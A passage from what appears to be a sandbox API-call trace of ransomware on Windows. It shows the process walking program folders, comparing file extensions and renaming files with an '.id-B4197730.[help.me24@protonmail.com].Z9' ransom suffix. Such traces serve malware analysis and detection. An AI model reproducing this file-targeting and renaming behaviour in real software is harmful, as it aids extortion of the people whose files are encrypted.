	[0193.414] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0193.414] lstrlenW (lpString=".xlsx") returned 5
	[0193.414] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1
	[0193.414] lstrlenW (lpString=".ppt") returned 4
	[0193.414] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0193.414] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0193.414] lstrlenW (lpString=".zip") returned 4
	[0193.414] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0193.414] lstrlenW (lpString=".rar") returned 4
	[0193.414] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0193.414] lstrlenW (lpString=".bz2") returned 4
	[0193.414] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0193.414] lstrlenW (lpString=".7z") returned 3
	[0193.414] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0193.414] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0193.414] lstrlenW (lpString=".dbf") returned 4
	[0193.414] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0193.414] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0193.414] lstrlenW (lpString=".1cd") returned 4
	[0193.414] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0193.414] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0193.414] lstrlenW (lpString=".jpg") returned 4
	[0193.414] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0193.414] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0193.414] lstrlenW (lpString="jfxswt.jar") returned 10
	[0193.414] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0193.415] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=33932) returned 1
	[0193.415] CloseHandle (hObject=0x354) returned 1
	[0193.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar")) returned 0x20
	[0193.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0193.415] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0193.415] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.415] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.415] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0193.416] GetLastError () returned 0x0
	[0193.416] ReadFile (hFile=0x354, lpBuffer=0x3d6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0) 

Thread:
	id = 98
	os_tid = 0xf5c

	[0188.186] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10000) returned 0x39e33b8
	[0188.186] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10000) returned 0x39f33c0
	[0188.186] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b2718
	[0188.186] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x6) returned 0x7a5ba0
	[0188.186] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b26d0
	[0188.186] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x100000) returned 0x3e7d020
	[0188.189] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b2748
	[0188.189] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7b2748, Size=0x20) returned 0x78dd78
	[0188.189] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b2730
	[0188.189] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7b2730, Size=0x20) returned 0x78ddc8
	[0188.189] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0188.189] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0188.189] Wow64DisableWow64FsRedirection (in: OldValue=0x34aff50 | out: OldValue=0x34aff50*=0x0) returned 1
	[0188.189] lstrlenW (lpString="kernel32.dll") returned 12
	[0188.189] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78dd78 | out: hHeap=0x750000) returned 1
	[0188.189] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0188.189] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78ddc8 | out: hHeap=0x750000) returned 1
	[0188.190] Sleep (dwMilliseconds=0x64) 
	[0188.522] Sleep (dwMilliseconds=0x64) 
	[0188.886] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0188.886] lstrlenW (lpString="ApiClient.dll") returned 13
	[0188.886] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0188.887] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=162880) returned 1
	[0188.887] CloseHandle (hObject=0x368) returned 1
	[0188.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll")) returned 0x20
	[0188.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.887] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0188.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0188.887] lstrlenW (lpString=".doc") returned 4
	[0188.887] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0188.887] lstrlenW (lpString=".docx") returned 5
	[0188.887] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0188.887] lstrlenW (lpString=".pdf") returned 4
	[0188.887] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0188.887] lstrlenW (lpString=".xls") returned 4
	[0188.887] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0188.887] lstrlenW (lpString=".xlsx") returned 5
	[0188.887] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0188.887] lstrlenW (lpString=".ppt") returned 4
	[0188.888] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0188.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0188.888] lstrlenW (lpString=".zip") returned 4
	[0188.888] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0188.888] lstrlenW (lpString=".rar") returned 4
	[0188.888] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0188.888] lstrlenW (lpString=".bz2") returned 4
	[0188.888] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0188.888] lstrlenW (lpString=".7z") returned 3
	[0188.888] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0188.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0188.888] lstrlenW (lpString=".dbf") returned 4
	[0188.888] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0188.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0188.888] lstrlenW (lpString=".1cd") returned 4
	[0188.888] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0188.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0188.888] lstrlenW (lpString=".jpg") returned 4
	[0188.888] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0188.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0188.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0188.888] lstrlenW (lpString=".doc") returned 4
	[0188.888] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0188.888] lstrlenW (lpString=".docx") returned 5
	[0188.888] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0188.888] lstrlenW (lpString=".pdf") returned 4
	[0188.888] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0188.888] lstrlenW (lpString=".xls") returned 4
	[0188.888] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0188.888] lstrlenW (lpString=".xlsx") returned 5
	[0188.888] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0188.889] lstrlenW (lpString=".ppt") returned 4
	[0188.889] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0188.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0188.889] lstrlenW (lpString=".zip") returned 4
	[0188.889] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0188.889] lstrlenW (lpString=".rar") returned 4
	[0188.889] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0188.889] lstrlenW (lpString=".bz2") returned 4
	[0188.889] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0188.889] lstrlenW (lpString=".7z") returned 3
	[0188.889] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0188.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0188.889] lstrlenW (lpString=".dbf") returned 4
	[0188.889] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0188.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0188.889] lstrlenW (lpString=".1cd") returned 4
	[0188.889] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0188.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0188.889] lstrlenW (lpString=".jpg") returned 4
	[0188.889] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0188.889] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0188.889] lstrlenW (lpString="AppVCatalog.dll") returned 15
	[0188.889] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0188.890] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=656088) returned 1
	[0188.890] CloseHandle (hObject=0x368) returned 1
	[0188.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll")) returned 0x20
	[0188.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.890] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0188.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0188.890] lstrlenW (lpString=".doc") returned 4
	[0188.891] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0188.891] lstrlenW (lpString=".docx") returned 5
	[0188.891] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0188.891] lstrlenW (lpString=".pdf") returned 4
	[0188.891] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0188.891] lstrlenW (lpString=".xls") returned 4
	[0188.891] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0188.891] lstrlenW (lpString=".xlsx") returned 5
	[0188.891] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0188.891] lstrlenW (lpString=".ppt") returned 4
	[0188.891] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0188.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0188.891] lstrlenW (lpString=".zip") returned 4
	[0188.891] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0188.891] lstrlenW (lpString=".rar") returned 4
	[0188.891] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0188.891] lstrlenW (lpString=".bz2") returned 4
	[0188.891] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0188.891] lstrlenW (lpString=".7z") returned 3
	[0188.891] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0188.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0188.891] lstrlenW (lpString=".dbf") returned 4
	[0188.891] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0188.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0188.891] lstrlenW (lpString=".1cd") returned 4
	[0188.891] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0188.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0188.891] lstrlenW (lpString=".jpg") returned 4
	[0188.891] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0188.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0188.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0188.892] lstrlenW (lpString=".doc") returned 4
	[0188.892] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0188.892] lstrlenW (lpString=".docx") returned 5
	[0188.892] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0188.892] lstrlenW (lpString=".pdf") returned 4
	[0188.892] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0188.892] lstrlenW (lpString=".xls") returned 4
	[0188.892] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0188.892] lstrlenW (lpString=".xlsx") returned 5
	[0188.892] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0188.892] lstrlenW (lpString=".ppt") returned 4
	[0188.892] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0188.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0188.892] lstrlenW (lpString=".zip") returned 4
	[0188.892] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0188.892] lstrlenW (lpString=".rar") returned 4
	[0188.892] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0188.892] lstrlenW (lpString=".bz2") returned 4
	[0188.892] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0188.892] lstrlenW (lpString=".7z") returned 3
	[0188.892] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0188.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0188.892] lstrlenW (lpString=".dbf") returned 4
	[0188.892] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0188.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0188.892] lstrlenW (lpString=".1cd") returned 4
	[0188.892] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0188.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0188.892] lstrlenW (lpString=".jpg") returned 4
	[0188.892] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0188.893] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0188.893] lstrlenW (lpString="AppVFileSystemMetadata.dll") returned 26
	[0188.893] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0188.893] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=307416) returned 1
	[0188.893] CloseHandle (hObject=0x368) returned 1
	[0188.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll")) returned 0x20
	[0188.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.893] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0188.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0188.894] lstrlenW (lpString=".doc") returned 4
	[0188.894] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0188.894] lstrlenW (lpString=".docx") returned 5
	[0188.894] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1
	[0188.894] lstrlenW (lpString=".pdf") returned 4
	[0188.894] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0188.894] lstrlenW (lpString=".xls") returned 4
	[0188.894] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0188.894] lstrlenW (lpString=".xlsx") returned 5
	[0188.894] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1
	[0188.894] lstrlenW (lpString=".ppt") returned 4
	[0188.894] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0188.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0188.894] lstrlenW (lpString=".zip") returned 4
	[0188.894] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0188.894] lstrlenW (lpString=".rar") returned 4
	[0188.894] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0188.894] lstrlenW (lpString=".bz2") returned 4
	[0188.894] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0188.894] lstrlenW (lpString=".7z") returned 3
	[0188.894] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0188.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0188.894] lstrlenW (lpString=".dbf") returned 4
	[0188.894] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0188.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0188.894] lstrlenW (lpString=".1cd") returned 4
	[0188.894] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0188.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0188.895] lstrlenW (lpString=".jpg") returned 4
	[0188.895] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0188.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0188.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0188.895] lstrlenW (lpString=".doc") returned 4
	[0188.895] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0188.895] lstrlenW (lpString=".docx") returned 5
	[0188.895] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1
	[0188.895] lstrlenW (lpString=".pdf") returned 4
	[0188.895] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0188.895] lstrlenW (lpString=".xls") returned 4
	[0188.895] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0188.895] lstrlenW (lpString=".xlsx") returned 5
	[0188.895] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1
	[0188.895] lstrlenW (lpString=".ppt") returned 4
	[0188.895] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0188.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0188.895] lstrlenW (lpString=".zip") returned 4
	[0188.895] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0188.895] lstrlenW (lpString=".rar") returned 4
	[0188.895] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0188.895] lstrlenW (lpString=".bz2") returned 4
	[0188.895] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0188.895] lstrlenW (lpString=".7z") returned 3
	[0188.895] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0188.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0188.895] lstrlenW (lpString=".dbf") returned 4
	[0188.895] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0188.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0188.895] lstrlenW (lpString=".1cd") returned 4
	[0188.896] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0188.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0188.896] lstrlenW (lpString=".jpg") returned 4
	[0188.896] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0188.896] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0188.896] lstrlenW (lpString="AppVIntegration.dll") returned 19
	[0188.896] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0188.896] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=2118360) returned 1
	[0188.896] CloseHandle (hObject=0x368) returned 1
	[0188.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 0x20
	[0188.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.897] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 1
	[0188.898] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
